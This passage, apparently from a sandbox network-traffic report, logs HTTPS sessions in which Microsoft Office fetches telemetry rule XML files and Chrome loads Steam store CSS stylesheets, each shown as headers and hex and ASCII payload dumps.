encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: b27116a7-a01e-003d-3a00-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064702Z-1657d5bbd48brl8we3nu8cxwgn00000003b000000000crdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:02 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 4c0632d0-601e-0097-4413-17f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064702Z-1657d5bbd48brl8we3nu8cxwgn00000003fg000000004m06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:02 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:02 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064702Z-1657d5bbd48sqtlf1huhzuwq7000000002v000000000747n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:02 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49778	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	564	OUT	GET /public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:02 UTC	338	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "Rc2hpzg2Ex3T" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=7787521 Expires: Sun, 05 Jan 2025 09:59:03 GMT Date: Mon, 07 Oct 2024 06:47:02 GMT Content-Length: 2646 Connection: close
2024-10-07 06:47:02 UTC	2646	IN	Data Raw: 2f 2a 0d 0a 20 46 6f 6e 74 3a 20 09 09 4d 6f 74 69 76 61 20 53 61 6e 73 0d 0a 20 55 52 4c 3a 20 09 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 2e 70 68 70 3f 73 6b 75 3d 54 32 39 38 32 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 4e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 64 65 73 69 67 6e 65 72 2f 32 39 33 2f 6e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 43 6f 70 79 72 69 67 68 74 3a 09 43 6f 70 79 72 69 67 68 74 20 20 32 30 31 31 20 62 79 20 52 6f 64 72 69 67 6f 20 53 61 69 61 6e 69 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 20 56 65 72 73 69 6f 6e 3a 20 09 31 Data Ascii: /* Font: Motiva Sans URL: http://www.youworkforthem.com/product.php?sku=T2982 Foundry: Niramekko Foundry: http://www.youworkforthem.com/designer/293/niramekko Copyright:Copyright 2011 by Rodrigo Saiani. All rights reserved. Version: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49782	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	566	OUT	GET /public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:03 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "cNFo_SNYcn7k" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Mon, 07 Oct 2024 06:47:03 GMT Date: Mon, 07 Oct 2024 06:47:03 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:03 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 09 2f 2a 20 53 79 73 74 65 6d 20 67 72 65 79 73 20 2a 2f 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 65 73 74 47 72 65 79 3a 20 23 44 43 44 45 44 46 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 65 72 47 72 65 79 3a 20 23 42 38 42 43 42 46 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 47 72 65 79 3a 20 23 38 42 39 32 39 41 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 47 72 65 79 3a 20 23 36 37 37 30 37 42 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 47 72 65 79 3a 20 23 33 44 34 34 35 30 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 65 72 47 72 65 79 3a 20 23 32 33 32 36 32 45 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 65 73 74 47 72 65 79 3a Data Ascii: 0000C000:root {/* System greys */--gpSystemLightestGrey: #DCDEDF;--gpSystemLighterGrey: #B8BCBF;--gpSystemLightGrey: #8B929A;--gpSystemGrey: #67707B;--gpSystemDarkGrey: #3D4450;--gpSystemDarkerGrey: #23262E;--gpSystemDarkestGrey:
2024-10-07 06:47:03 UTC	15837	IN	Data Raw: 65 6e 75 5f 70 75 6c 6c 64 6f 77 6e 5f 69 6e 64 69 63 61 74 6f 72 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 69 6d 61 67 65 73 2f 70 6f 70 75 70 73 2f 62 74 6e 5f 61 72 72 6f 77 5f 64 6f 77 6e 2e 70 6e 67 27 20 29 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 09 77 69 64 74 68 3a 20 39 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 34 70 78 3b 0d 0a 7d 0d 0a 23 61 64 6d 69 6e 5f 64 72 6f 70 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 Data Ascii: enu_pulldown_indicator {display: inline-block;background-image: url( 'https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down.png' );vertical-align: middle;width: 9px;height: 4px;}#admin_drop { border-radius
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 73 5f 36 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 31 39 32 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 37 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 32 34 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 38 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 35 36 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 39 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 38 38 70 78 3b 0d 0a 7d 0d 0a 0d Data Ascii: s_60 {background-position: 0 -192px;}.friendPlayerLevel.lvl_plus_70 {background-position: 0 -224px;}.friendPlayerLevel.lvl_plus_80 {background-position: 0 -256px;}.friendPlayerLevel.lvl_plus_90 {background-position: 0 -288px;}
2024-10-07 06:47:03 UTC	951	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 63 30 66 34 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 2c 20 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 20 61 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 2c 20 61 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 75 72 73 6f 72 3a 20 64 65 66 61 75 6c 74 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 32 3b 0d 0a 7d 0d 0a 0d 0a 61 2e 70 61 67 65 6c 69 6e 6b 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 09 63 6f 6c 6f 72 Data Ascii: rder-color: #66c0f4;color: #fff;text-decoration: none;}.pagebtn.disabled, .pagebtn.disabled:hover, a.pagebtn.disabled, a.pagebtn.disabled:hover {cursor: default;opacity: 0.2;}a.pagelink:hover {text-decoration: underline;color
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 64 72 6f 70 64 6f 77 6e 20 2e 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 37 33 64 34 34 3b 0d 0a 7d 0d 0a 0d 0a 23 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 64 72 6f 70 64 6f 77 6e 20 2e 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 2e 61 63 74 69 76 65 5f 69 6e 62 6f 78 5f 69 74 65 6d 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 30 62 61 32 34 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 74 6e 2e 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 65 6c 6c 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: 00004000dropdown .popup_menu_item:hover {color: #ffffff;background-color: #373d44;}#header_notification_dropdown .popup_menu_item.active_inbox_item {color: #70ba24;}.header_notification_btn.header_notification_bell {display: bloc
2024-10-07 06:47:03 UTC	12	IN	Data Raw: 66 66 66 3b 0d 0a 7d 0d 0a 2e 0d 0a Data Ascii: fff;}.
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 30 30 30 30 34 42 44 46 0d 0a 4d 6f 64 65 72 6e 42 42 53 74 79 6c 65 73 20 61 2e 62 62 5f 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 62 63 64 32 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 73 70 61 6e 2e 62 62 5f 73 74 72 69 6b 65 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6c 69 6e 65 2d 74 68 72 6f 75 67 68 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 2e 62 62 5f 70 75 6c 6c 71 75 6f 74 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0d 0a 7d 0d 0a 0d 0a 73 70 61 6e 2e 62 62 5f 6c 69 6e 6b 5f 68 6f 73 74 20 7b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 65 38 33 39 31 3b 0d 0a 09 70 61 64 64 Data Ascii: 00004BDFModernBBStyles a.bb_link { color: #80bcd2;}span.bb_strike {text-decoration: line-through;}div.bb_pullquote { font-size: 18px; font-weight: 600;}span.bb_link_host {font-size: 10px;color: #7e8391;padd
2024-10-07 06:47:03 UTC	3051	IN	Data Raw: 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 7d 0d 0a 2e 63 6f 6d 6d 75 6e 69 74 79 5f 61 77 61 72 64 5f 63 6f 75 6e 74 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 36 36 63 30 66 34 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0d 0a 7d 0d 0a 2e 63 6f 6d 6d 75 6e 69 74 79 5f 61 77 61 72 64 5f 63 6f 75 6e 74 2e 68 69 64 64 65 6e 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6d 6d 75 6e 69 74 79 5f 74 6f 6f 6c 74 69 70 2e 63 6f 6d 6d 75 6e 69 74 79 5f 61 77 61 72 64 5f 74 6f 6f 6c 74 69 70 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 31 34 31 63 Data Ascii: cal-align: middle;}.community_award_count {color: #66c0f4;font-size: 13px;vertical-align: middle;font-weight: bold;}.community_award_count.hidden {display: none;}.community_tooltip.community_award_tooltip {background: #141c
2024-10-07 06:47:03 UTC	4369	IN	Data Raw: 30 30 30 30 31 31 30 35 0d 0a 68 69 6e 61 5f 66 6f 6f 74 65 72 5f 6c 65 67 61 6c 5f 63 74 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 68 69 6e 61 5f 66 6f 6f 74 65 72 5f 6c 6f 67 6f 73 20 69 6d 67 20 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 39 36 70 78 3b 0d 0a 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 74 6f 70 3b 0d 0a 7d 0d 0a 0d 0a 2e 67 70 6e 61 76 3a 66 6f 63 75 73 0d 0a 7b 0d 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 34 70 78 20 73 6f 6c 69 64 20 62 6c 75 65 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 32 70 78 20 69 6e 73 65 74 20 23 30 30 30 30 66 66 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 46 6f 72 20 44 61 74 65 20 70 69 63 6b 65 72 73 20 73 Data Ascii: 00001105hina_footer_legal_ctn { margin-top: 20px;}.china_footer_logos img { width: 96px; vertical-align: top;}.gpnav:focus{ outline: 4px solid blue; box-shadow: 0 0 2px inset #0000ff;}/* For Date pickers s
2024-10-07 06:47:03 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49780	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	560	OUT	GET /public/shared/css/buttons.css?v=6PFqex5UPprb&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:03 UTC	339	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "6PFqex5UPprb" Server: nginx Content-Type: text/css;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=6196213 Expires: Tue, 17 Dec 2024 23:57:15 GMT Date: Mon, 07 Oct 2024 06:47:02 GMT Content-Length: 33528 Connection: close
2024-10-07 06:47:03 UTC	16045	IN	Data Raw: 2e 62 74 6e 5f 67 72 65 65 6e 5f 77 68 69 74 65 5f 69 6e 6e 65 72 66 61 64 65 20 7b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 70 78 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 44 32 45 38 38 35 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 61 34 64 30 30 37 3b 0d 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 Data Ascii: .btn_green_white_innerfade {border-radius: 2px;border: none;padding: 1px;display: inline-block;cursor: pointer;text-decoration: none !important;color: #D2E885 !important;background: #a4d007;background: -webkit-linear-grad
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 09 7d 0d 0a 0d 0a 09 2e 62 74 6e 76 36 5f 77 68 69 74 65 5f 74 72 61 6e 73 70 61 72 65 6e 74 20 3e 20 73 70 61 6e 20 7b 0d 0a 09 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 0d 0a 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 34 29 3b 0a 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 09 7d 0d 0a 0d 0a 2e 62 74 6e 76 36 5f 77 68 69 74 65 5f 74 72 61 6e 73 70 61 72 65 6e 74 3a 6e 6f 74 28 2e 62 74 6e Data Ascii: !important;background: transparent;}.btnv6_white_transparent > span {border-radius: 2px;display: block;background: transparent;border: 1px solid rgba(255,255,255,0.4);border-radius: 2px;}.btnv6_white_transparent:not(.btn
2024-10-07 06:47:03 UTC	1099	IN	Data Raw: 3b 0d 0a 09 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 69 6d 61 67 65 73 2f 62 75 74 74 6f 6e 73 2f 69 63 6f 6e 5f 64 6f 75 62 6c 65 5f 61 72 72 6f 77 73 2e 70 6e 67 27 29 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 5f 64 65 74 61 69 6c 73 5f 61 72 72 6f 77 2e 75 70 0d 0a 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 70 78 20 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 5f 64 65 74 61 69 6c 73 3a 6e 6f 74 28 2e 62 74 6e 5f 64 69 73 61 Data Ascii: ;height: 